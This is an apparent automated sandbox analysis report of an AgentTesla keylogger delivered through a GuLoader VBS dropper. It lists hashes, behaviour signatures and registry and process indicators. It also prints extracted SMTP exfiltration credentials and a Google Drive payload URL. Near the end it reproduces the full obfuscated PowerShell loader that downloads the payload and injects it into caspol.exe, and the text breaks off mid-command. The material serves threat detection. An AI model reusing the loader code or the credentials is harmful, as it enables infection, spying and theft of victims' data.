agenttesla | b916b37fcc5b1f5a77f6ff3c36904e9f20cdea77266acbe3566f3459d8c1f1d0

General

Target

justificante de transferencia.vbs
Size

124KB
MD5

2c5add519c94bcfa2e7c1064ceb64736
SHA1

af99c8f0fb30a9a4fac437aa427ef44e41b535f9
SHA256

b916b37fcc5b1f5a77f6ff3c36904e9f20cdea77266acbe3566f3459d8c1f1d0
SHA512

7fd3feb9ebf3ddd7c21f2223324ff3ead68e34a799d2f2f21309a489abf4f59220880279cf77fba88322cb1d9ec6ef218c4febb6071695a7d809e4ea4e682913
SSDEEP

3072:FrDq3Cj8LqEN9cy7jPLWCuHoq0lgmfaZXAR:1Dw/m09cyXYH/0lLQO

Score

10^/10

agenttesla guloader collection downloader keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=1-7fE16kK-_VjGlyxUiZ77Miud4_JlSTH

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.heladospalacio.com
Port:
587
Username:
[email protected]
Password:
Drs4x0!6
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Blocklisted process makes network request 3 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

3 760 WScript.exe
11 3740 powershell.exe
13 3740 powershell.exe

flow	pid	process
3	760	WScript.exe
11	3740	powershell.exe
13	3740	powershell.exe

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.execaspol.exe

description	ioc	process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	caspol.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

caspol.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

50 api.ipify.org
51 api.ipify.org
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

caspol.exe

pid process

4872 caspol.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.execaspol.exe

pid process

3740 powershell.exe
4872 caspol.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3740 set thread context of 4872 3740 powershell.exe caspol.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	ioc
50	api.ipify.org
51	api.ipify.org

pid	process
4872	caspol.exe

pid	process
3740	powershell.exe
4872	caspol.exe

description	pid	process	target process
PID 3740 set thread context of 4872	3740	powershell.exe	caspol.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

WScript.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1704 powershell.exe
1704 powershell.exe
3740 powershell.exe
3740 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

3740 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.execaspol.exe

description pid process

Token: SeDebugPrivilege 1704 powershell.exe
Token: SeDebugPrivilege 3740 powershell.exe
Token: SeDebugPrivilege 4872 caspol.exe

pid	process
1704	powershell.exe
1704	powershell.exe
3740	powershell.exe
3740	powershell.exe

pid	process
3740	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	3740	powershell.exe
Token: SeDebugPrivilege	4872	caspol.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 760 wrote to memory of 4092	760	WScript.exe	cmd.exe
PID 760 wrote to memory of 4092	760	WScript.exe	cmd.exe
PID 760 wrote to memory of 260	760	WScript.exe	cmd.exe
PID 760 wrote to memory of 260	760	WScript.exe	cmd.exe
PID 760 wrote to memory of 1704	760	WScript.exe	powershell.exe
PID 760 wrote to memory of 1704	760	WScript.exe	powershell.exe
PID 1704 wrote to memory of 3740	1704	powershell.exe	powershell.exe
PID 1704 wrote to memory of 3740	1704	powershell.exe	powershell.exe
PID 1704 wrote to memory of 3740	1704	powershell.exe	powershell.exe
PID 3740 wrote to memory of 4872	3740	powershell.exe	caspol.exe
PID 3740 wrote to memory of 4872	3740	powershell.exe	caspol.exe
PID 3740 wrote to memory of 4872	3740	powershell.exe	caspol.exe
PID 3740 wrote to memory of 4872	3740	powershell.exe	caspol.exe

outlook_office_path 1 IoCs

Processes:

caspol.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe

outlook_win_path 1 IoCs

Processes:

caspol.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\justificante de transferencia.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:760

C:\Windows\System32\cmd.exe
cmd /c echo off
2⤵
PID:4092

C:\Windows\System32\cmd.exe
cmd /c echo rshell
2⤵
PID:260

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$stillsud = """Function Obli11 { param([String]`$Broo); `$Grnsund = ''; Write-Host `$Grnsund; Write-Host `$Grnsund; Write-Host `$Grnsund; `$Unconduc = New-Object byte[] (`$Broo.Length / 2); For(`$rubigi=0; `$rubigi -lt `$Broo.Length; `$rubigi+=2){ `$Unconduc[`$rubigi/2] = [convert]::ToByte(`$Broo.Substring(`$rubigi, 2), 16); `$Endysist = (`$Unconduc[`$rubigi/2] -bxor 241); `$Unconduc[`$rubigi/2] = `$Endysist; } [String][System.Text.Encoding]::ASCII.GetString(`$Unconduc);}`$Bandlyses0=Obli11 'A2888285949CDF959D9D';`$Bandlyses1=Obli11 'BC9892839E829E9785DFA6989FC2C3DFA49F82909794BF9085988794BC9485999E9582';`$Bandlyses2=Obli11 'B69485A1839E92B0959583948282';`$Bandlyses3=Obli11 'A2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497';`$Bandlyses4=Obli11 '828583989F96';`$Bandlyses5=Obli11 'B69485BC9E95849D94B9909F959D94';`$Bandlyses6=Obli11 'A3A5A281949298909DBF909C94DDD1B9989594B388A29896DDD1A184939D9892';`$Bandlyses7=Obli11 'A3849F85989C94DDD1BC909F90969495';`$Bandlyses8=Obli11 'A394979D9492859495B5949D9496908594';`$Bandlyses9=Obli11 'B89FBC949C9E8388BC9E95849D94';`$Presuffer0=Obli11 'BC88B5949D9496908594A5888194';`$Presuffer1=Obli11 'B29D908282DDD1A184939D9892DDD1A294909D9495DDD1B09F8298B29D908282DDD1B084859EB29D908282';`$Presuffer2=Obli11 'B89F879E9A94';`$Presuffer3=Obli11 'A184939D9892DDD1B9989594B388A29896DDD1BF9486A29D9E85DDD1A798838584909D';`$Presuffer4=Obli11 'A798838584909DB09D9D9E92';`$Presuffer5=Obli11 '9F85959D9D';`$Presuffer6=Obli11 'BF85A1839E85949285A798838584909DBC949C9E8388';`$Presuffer7=Obli11 'B8B4A9';`$Presuffer8=Obli11 'AD';`$papa=Obli11 'A4A2B4A3C2C3';`$Prodigalis=Obli11 'B2909D9DA6989F959E86A1839E92B0';function fkp {Param (`$Destabili, `$Skrifts) ;`$Gastrosc0 =Obli11 'D5BC9092839E929D989C90D1CCD1D9AAB08181B59E9C90989FACCBCBB2848383949F85B59E9C90989FDFB69485B08282949C939D989482D9D8D18DD1A699948394DCBE939B949285D18AD1D5AEDFB69D9E93909DB08282949C939D88B290929994D1DCB09F95D1D5AEDFBD9E929085989E9FDFA2819D9885D9D5A18394828497979483C9D8AADCC0ACDFB48084909D82D9D5B3909F959D88829482C1D8D18CD8DFB69485A5888194D9D5B3909F959D88829482C0D8';.(`$Presuffer7) `$Gastrosc0;`$Gastrosc5 = Obli11 'D5A9949F9E828290D1CCD1D5BC9092839E929D989C90DFB69485BC9485999E95D9D5B3909F959D88829482C3DDD1AAA5888194AAACACD1B1D9D5B3909F959D88829482C2DDD1D5B3909F959D88829482C5D8D8';.(`$Presuffer7) `$Gastrosc5;`$Gastrosc1 = Obli11 '83948584839FD1D5A9949F9E828290DFB89F879E9A94D9D59F849D9DDDD1B1D9AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497ACD9BF9486DCBE939B949285D1A2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497D9D9BF9486DCBE939B949285D1B89F85A18583D8DDD1D9D5BC9092839E929D989C90DFB69485BC9485999E95D9D5B3909F959D88829482C4D8D8DFB89F879E9A94D9D59F849D9DDDD1B1D9D5B59482859093989D98D8D8D8D8DDD1D5A29A8398978582D8D8';.(`$Presuffer7) `$Gastrosc1;}function GDT {Param ([Parameter(Position = 0, Mandatory = `$True)] [Type[]] `$Indish,[Parameter(Position = 1)] [Type] `$konk = [Void]);`$Gastrosc2 = Obli11 'D5B3848385889E879483D1CCD1AAB08181B59E9C90989FACCBCBB2848383949F85B59E9C90989FDFB59497989F94B5889F909C9892B08282949C939D88D9D9BF9486DCBE939B949285D1A2888285949CDFA394979D949285989E9FDFB08282949C939D88BF909C94D9D5B3909F959D88829482C9D8D8DDD1AAA2888285949CDFA394979D949285989E9FDFB49C9885DFB08282949C939D88B384989D959483B09292948282ACCBCBA3849FD8DFB59497989F94B5889F909C9892BC9E95849D94D9D5B3909F959D88829482C8DDD1D597909D8294D8DFB59497989F94A5888194D9D5A18394828497979483C1DDD1D5A18394828497979483C0DDD1AAA2888285949CDFBC849D859892908285B5949D9496908594ACD8';.(`$Presuffer7) `$Gastrosc2;`$Gastrosc3 = Obli11 'D5B3848385889E879483DFB59497989F94B29E9F8285838492859E83D9D5B3909F959D88829482C7DDD1AAA2888285949CDFA394979D949285989E9FDFB2909D9D989F96B29E9F87949F85989E9F82ACCBCBA285909F95908395DDD1D5B89F95988299D8DFA29485B89C819D949C949F859085989E9FB79D909682D9D5B3909F959D88829482C6D8';.(`$Presuffer7) `$Gastrosc3;`$Gastrosc4 = Obli11 'D5B3848385889E879483DFB59497989F94BC9485999E95D9D5A18394828497979483C3DDD1D5A18394828497979483C2DDD1D59A9E9F9ADDD1D5B89F95988299D8DFA29485B89C819D949C949F859085989E9FB79D909682D9D5B3909F959D88829482C6D8';.(`$Presuffer7) `$Gastrosc4;`$Gastrosc5 = Obli11 '83948584839FD1D5B3848385889E879483DFB28394908594A5888194D9D8';.(`$Presuffer7) `$Gastrosc5 ;}`$Paleoant = Obli11 '9A94839F949DC2C3';`$Obli03 = Obli11 'B69485B29E9F829E9D94A6989F959E86';`$Obli00=Obli11 'A2999E86A6989F959E86';`$Obli01 = Obli11 'D5B79E8385909694839984D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D581908190D1D5BE939D98C1C1D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAA4B89F85C2C3ACD8D1D9AAB89F85A18583ACD8D8D8';.(`$Presuffer7) `$Obli01;`$Obli02 = Obli11 'D5BC9E9587968590D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D5A1909D949E909F85D1D5BE939D98C1C2D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACD8D1D9AAB89F85A18583ACD8D8D8';.(`$Presuffer7) `$Obli02;`$Gastrosc7 = Obli11 'D5B583879D948382D1CCD1D5BC9E9587968590DFB89F879E9A94D9C1D8';.(`$Presuffer7) `$Gastrosc7;`$Gastrosc7 = Obli11 'D5B79E8385909694839984DFB89F879E9A94D9D5B583879D948382DDD1C1D8';.(`$Presuffer7) `$Gastrosc7;`$Gastrosc6 = Obli11 'D5BE9C938495829C909FD1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D5A1909D949E909F85D1D5A18394828497979483C5D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAA4B89F85C2C3ACDDD1AAA4B89F85C2C3ACDDD1AAA4B89F85C2C3ACD8D1D9AAB89F85A18583ACD8D8D8';.(`$Presuffer7) `$Gastrosc6;`$Depr = fkp `$Presuffer5 `$Presuffer6;`$Gastrosc7 = Obli11 'D59D9485859495C2D1CCD1D5BE9C938495829C909FDFB89F879E9A94D9AAB89F85A18583ACCBCBAB94839EDDD1C7C5C7DDD1C189C2C1C1C1DDD1C189C5C1D8';.(`$Presuffer7) `$Gastrosc7;`$Gastrosc8 = Obli11 'D5B583909F9A9483D1CCD1D5BE9C938495829C909FDFB89F879E9A94D9AAB89F85A18583ACCBCBAB94839EDDD1C7C0C5C5C9C0C8C3DDD1C189C2C1C1C1DDD1C189C5D8';.(`$Presuffer7) `$Gastrosc8;`$Obli01 = 'https://drive.google.com/uc?export=download&id=1-7fE16kK-_VjGlyxUiZ77Miud4_JlSTH';`$Obli00 = Obli11 'D5B084839E9288909FD1CCD1D9BF9486DCBE939B949285D1BF9485DFA69493B29D98949F85D8DFB59E869F9D9E9095A28583989F96D9D5BE939D98C1C0D8';`$Gastrosc8 = Obli11 'D59D9485859495C3CCD5949F87CB90818195908590';.(`$Presuffer7) `$Gastrosc8;`$letted2=`$letted2+'\Forblo.dat';`$Aurocyan='';if (-not(Test-Path `$letted2)) {while (`$Aurocyan -eq '') {.(`$Presuffer7) `$Obli00;Start-Sleep 5;}Set-Content `$letted2 `$Aurocyan;}`$Aurocyan = Get-Content `$letted2;`$Gastrosc9 = Obli11 'D5B6908285839E8292D1CCD1AAA2888285949CDFB29E9F87948385ACCBCBB7839E9CB3908294C7C5A28583989F96D9D5B084839E9288909FD8';.(`$Presuffer7) `$Gastrosc9;`$Aurocyan0 = Obli11 'AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB29E8188D9D5B6908285839E8292DDD1C1DDD1D1D59D9485859495C2DDD1C7C5C7D8';.(`$Presuffer7) `$Aurocyan0;`$Unerrantly132=`$Gastrosc.count-646;`$Aurocyan1 = Obli11 'AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB29E8188D9D5B6908285839E8292DDD1C7C5C7DDD1D5B583909F9A9483DDD1D5A49F948383909F859D88C0C2C3D8';.(`$Presuffer7) `$Aurocyan1;`$Aurocyan2 = Obli11 'D5A194928584C8C2D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D581908190D1D5A1839E959896909D9882D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACD8D1D9AAB89F85A18583ACD8D8D8';.(`$Presuffer7) `$Aurocyan2;`$Aurocyan3 = Obli11 'D5A194928584C8C2DFB89F879E9A94D9D59D9485859495C2DDD5B583909F9A9483DDD5B5948183DDC1DDC1D8';.(`$Presuffer7) `$Aurocyan3#;""";Function Aurocyan9 { param([String]$Broo); For($rubigi=0; $rubigi -lt $Broo.Length-1; $rubigi+=(0+1)){$Obli = $Obli + $Broo.Substring($rubigi, 1)}; $Obli;}$Masturbat1250 = Aurocyan9 'IEX ';$Masturbat1251= Aurocyan9 $stillsud;if([IntPtr]::size -eq 8){.$env:windir\S*64\W*Power*\v1.0\*ll.exe $Masturbat1251 ;}else{.$Masturbat1250 $Masturbat1251;}"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1704

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Obli11 { param([String]$Broo); $Grnsund = ''; Write-Host $Grnsund; Write-Host $Grnsund; Write-Host $Grnsund; $Unconduc = New-Object byte[] ($Broo.Length / 2); For($rubigi=0; $rubigi -lt $Broo.Length; $rubigi+=2){ $Unconduc[$rubigi/2] = [convert]::ToByte($Broo.Substring($rubigi, 2), 16); $Endysist = ($Unconduc[$rubigi/2] -bxor 241); $Unconduc[$rubigi/2] = $Endysist; } [String][System.Text.Encoding]::ASCII.GetString($Unconduc);}$Bandlyses0=Obli11 'A2888285949CDF959D9D';$Bandlyses1=Obli11 'BC9892839E829E9785DFA6989FC2C3DFA49F82909794BF9085988794BC9485999E9582';$Bandlyses2=Obli11 'B69485A1839E92B0959583948282';$Bandlyses3=Obli11 'A2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497';$Bandlyses4=Obli11 '828583989F96';$Bandlyses5=Obli11 'B69485BC9E95849D94B9909F959D94';$Bandlyses6=Obli11 'A3A5A281949298909DBF909C94DDD1B9989594B388A29896DDD1A184939D9892';$Bandlyses7=Obli11 'A3849F85989C94DDD1BC909F90969495';$Bandlyses8=Obli11 'A394979D9492859495B5949D9496908594';$Bandlyses9=Obli11 'B89FBC949C9E8388BC9E95849D94';$Presuffer0=Obli11 'BC88B5949D9496908594A5888194';$Presuffer1=Obli11 'B29D908282DDD1A184939D9892DDD1A294909D9495DDD1B09F8298B29D908282DDD1B084859EB29D908282';$Presuffer2=Obli11 'B89F879E9A94';$Presuffer3=Obli11 'A184939D9892DDD1B9989594B388A29896DDD1BF9486A29D9E85DDD1A798838584909D';$Presuffer4=Obli11 'A798838584909DB09D9D9E92';$Presuffer5=Obli11 '9F85959D9D';$Presuffer6=Obli11 'BF85A1839E85949285A798838584909DBC949C9E8388';$Presuffer7=Obli11 'B8B4A9';$Presuffer8=Obli11 'AD';$papa=Obli11 'A4A2B4A3C2C3';$Prodigalis=Obli11 'B2909D9DA6989F959E86A1839E92B0';function fkp {Param ($Destabili, $Skrifts) ;$Gastrosc0 =Obli11 'D5BC9092839E929D989C90D1CCD1D9AAB08181B59E9C90989FACCBCBB2848383949F85B59E9C90989FDFB69485B08282949C939D989482D9D8D18DD1A699948394DCBE939B949285D18AD1D5AEDFB69D9E93909DB08282949C939D88B290929994D1DCB09F95D1D5AEDFBD9E929085989E9FDFA2819D9885D9D5A18394828497979483C9D8AADCC0ACDFB48084909D82D9D5B3909F959D88829482C1D8D18CD8DFB69485A5888194D9D5B3909F959D88829482C0D8';.($Presuffer7) $Gastrosc0;$Gastrosc5 = Obli11 'D5A9949F9E828290D1CCD1D5BC9092839E929D989C90DFB69485BC9485999E95D9D5B3909F959D88829482C3DDD1AAA5888194AAACACD1B1D9D5B3909F959D88829482C2DDD1D5B3909F959D88829482C5D8D8';.($Presuffer7) $Gastrosc5;$Gastrosc1 = Obli11 '83948584839FD1D5A9949F9E828290DFB89F879E9A94D9D59F849D9DDDD1B1D9AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497ACD9BF9486DCBE939B949285D1A2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497D9D9BF9486DCBE939B949285D1B89F85A18583D8DDD1D9D5BC9092839E929D989C90DFB69485BC9485999E95D9D5B3909F959D88829482C4D8D8DFB89F879E9A94D9D59F849D9DDDD1B1D9D5B59482859093989D98D8D8D8D8DDD1D5A29A8398978582D8D8';.($Presuffer7) $Gastrosc1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Indish,[Parameter(Position = 1)] [Type] $konk = [Void]);$Gastrosc2 = Obli11 'D5B3848385889E879483D1CCD1AAB08181B59E9C90989FACCBCBB2848383949F85B59E9C90989FDFB59497989F94B5889F909C9892B08282949C939D88D9D9BF9486DCBE939B949285D1A2888285949CDFA394979D949285989E9FDFB08282949C939D88BF909C94D9D5B3909F959D88829482C9D8D8DDD1AAA2888285949CDFA394979D949285989E9FDFB49C9885DFB08282949C939D88B384989D959483B09292948282ACCBCBA3849FD8DFB59497989F94B5889F909C9892BC9E95849D94D9D5B3909F959D88829482C8DDD1D597909D8294D8DFB59497989F94A5888194D9D5A18394828497979483C1DDD1D5A18394828497979483C0DDD1AAA2888285949CDFBC849D859892908285B5949D9496908594ACD8';.($Presuffer7) $Gastrosc2;$Gastrosc3 = Obli11 'D5B3848385889E879483DFB59497989F94B29E9F8285838492859E83D9D5B3909F959D88829482C7DDD1AAA2888285949CDFA394979D949285989E9FDFB2909D9D989F96B29E9F87949F85989E9F82ACCBCBA285909F95908395DDD1D5B89F95988299D8DFA29485B89C819D949C949F859085989E9FB79D909682D9D5B3909F959D88829482C6D8';.($Presuffer7) $Gastrosc3;$Gastrosc4 = Obli11 'D5B3848385889E879483DFB59497989F94BC9485999E95D9D5A18394828497979483C3DDD1D5A18394828497979483C2DDD1D59A9E9F9ADDD1D5B89F95988299D8DFA29485B89C819D949C949F859085989E9FB79D909682D9D5B3909F959D88829482C6D8';.($Presuffer7) $Gastrosc4;$Gastrosc5 = Obli11 '83948584839FD1D5B3848385889E879483DFB28394908594A5888194D9D8';.($Presuffer7) $Gastrosc5 ;}$Paleoant = Obli11 '9A94839F949DC2C3';$Obli03 = Obli11 'B69485B29E9F829E9D94A6989F959E86';$Obli00=Obli11 'A2999E86A6989F959E86';$Obli01 = Obli11 